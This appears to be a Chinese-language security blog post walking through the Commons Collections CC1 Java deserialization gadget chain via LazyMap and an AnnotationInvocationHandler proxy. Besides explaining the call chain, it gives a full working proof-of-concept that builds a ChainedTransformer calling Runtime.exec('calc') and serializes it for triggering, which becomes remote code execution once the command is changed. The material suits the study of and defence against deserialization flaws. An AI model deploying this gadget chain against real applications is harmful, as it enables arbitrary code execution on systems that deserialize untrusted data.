Java反序列化CommonsCollections(一)LazyMap链

接着上篇的CC1链 两条链前边和后边是相同的

AnnotationInvocationHandle.readObject(这里边有setValue操作)

memberValues.entrySet()(这里的memberValue为AnnotationInvocationHandle的代理,调用entrySet方法会调用代理的Invoke方法)

AnnotationInvocationHandle.invoke

memberValues.get(此时memberValue为LazyMap)

factory.transform(key);

ChainedTransformer.transform

InvokerTransformer.transform

只记录和之前链不同的地方 LazyMap中的get方法调用了transform 后边就是接着之前的链 主要是如何走到这个get方法

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
}
return map.get(key);
}

需要找到一个readObject中调用了get方法的 根据ysoserial中的链 知道还是利用了AnnotationInvocationHandle 注意到这个类中有个invoke方法 学过动态代理的就很容易想到 在代理类里边重写了invoke方法后 再通过这个代理类调用任何方法都会进入到这个invoke方法中 且AnnotationInvocationHandle的invoke方法中调用了memberValues.get(member) get方法 并且memberValues可控 是我们初始化传入的值

public Object invoke(Object proxy, Method method, Object[] args) {
       String member = method.getName();
       Class<?>[] paramTypes = method.getParameterTypes();

       // Handle Object and Annotation methods
       if (member.equals("equals") && paramTypes.length == 1 &&
           paramTypes[0] == Object.class)
           return equalsImpl(args[0]);
       if (paramTypes.length != 0)
           throw new AssertionError("Too many parameters for an annotation method");

       switch(member) {
       case "toString":
           return toStringImpl();
       case "hashCode":
           return hashCodeImpl();
       case "annotationType":
           return type;
       }

       // Handle annotation member accessors
       Object result = memberValues.get(member);

       if (result == null)
           throw new IncompleteAnnotationException(type, member);

       if (result instanceof ExceptionProxy)
           throw ((ExceptionProxy) result).generateException();

       if (result.getClass().isArray() && Array.getLength(result) != 0)
           result = cloneArray(result);

       return result;
   }

这里有两个限制不能是调用了equals并且是无参的方法 file

获取一个AnnotationInvocationHandle代理类的InvocationHandler对象

Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
       Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
       annotationInvocationdhdlConstructor.setAccessible(true);

       InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);

然后注意到AnnotationInvocationHandle中的readObject中memberValues.entrySet() 这个memberValues是可控的 如果把这个值赋值为刚刚的代理类的对象 然后调用lentrySet方法 这个方法无参 就会去调用AnnotationInvocationHandle的invoke方法 然后再将memberValues初始化为lazyMap 然后就调用了get方法 接着transform方法

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);

        InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class, mapProxy);

//        serialize(o);
        unserialize("ser.bin");

Java反序列化CommonsCollections(一)LazyMap链
http://example.com/2021/09/18/OldBlog/java反序列化commonscollections一lazymap链/
作者
Autumn
发布于
2021年9月18日
许可协议